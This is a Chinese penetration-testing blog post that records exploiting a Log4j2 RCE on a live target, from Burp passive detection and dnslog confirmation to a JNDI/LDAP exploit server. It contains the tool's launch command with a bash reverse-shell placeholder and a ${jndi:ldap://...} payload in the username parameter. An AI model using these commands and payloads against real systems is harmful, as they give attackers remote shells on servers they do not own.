在现在以及未来的一段时间里,Log4j2 漏洞依然是渗透和排查的重点。在测试靶场里复现多次,在实战中遇到还是十分兴奋,So,总得记录点什么吧。


01、漏洞发现

通过burp插件的方式,将Log4j2漏洞检测能力集成到burp进行被动扫描。在访问网站抓包的过程中,检测到目标站点存在Log4j2 RCE漏洞。

seoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-173451-1644982565.png" style="margin:10px 0px;padding:0px;box-sizing:border-box;border-width:1px;border-style:solid;border-color:#EEEEEE;image-rendering:-webkit-optimize-contrast;max-width:90%;max-height:90%;cursor:zoom-in;" />

02、确认漏洞参数

由于使用参数Fuzz,每个数据包里都夹带多个参数注入Payload,我们需要进一步定位到具体的漏洞参数位置。

(1)登录ceye.io,可以查看当前的dnslog。

(2)对比burp参数注入的payload和dnslog请求,可初步确认参数username存在Log4j2 RCE漏洞。

03、构建ldap服务

通过JNDI注入利用的工具,构建好恶意类地址和ldap服务,为进一步漏洞利用做好准备。

(1)构建payload,将要执行的命令进行base64编码,可通过Java Runtime 配合 bash 编码实现。

在线编码地址:

https://www.jackson-t.ca/runtime-exec-payloads.html

image.png

(2)用JNDIExploit启动一个ldap的服务。

命令如下:

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "编码后的bash反弹shell命令" -A “监听的IP地址”

image.png

04、获取目标权限

利用Log4j2漏洞向目标服务器发送构造的payload语句,反弹shell,从而获取目标服务器权限。

(1)启动端口监听

image.png

(2)在burp进行构造payload,url编码后发送请求。

Payload:

?username=${jndi:ldap://xxx.xxx.xxx.xxx:1389/pgc2pp}

image.png

(3)服务端成功接收到bash反弹的shell。

image.png


本文作者:Bypass007

本文为安全脉搏专栏作者发布,转自:https://www.secpulse.com/archives/173451.html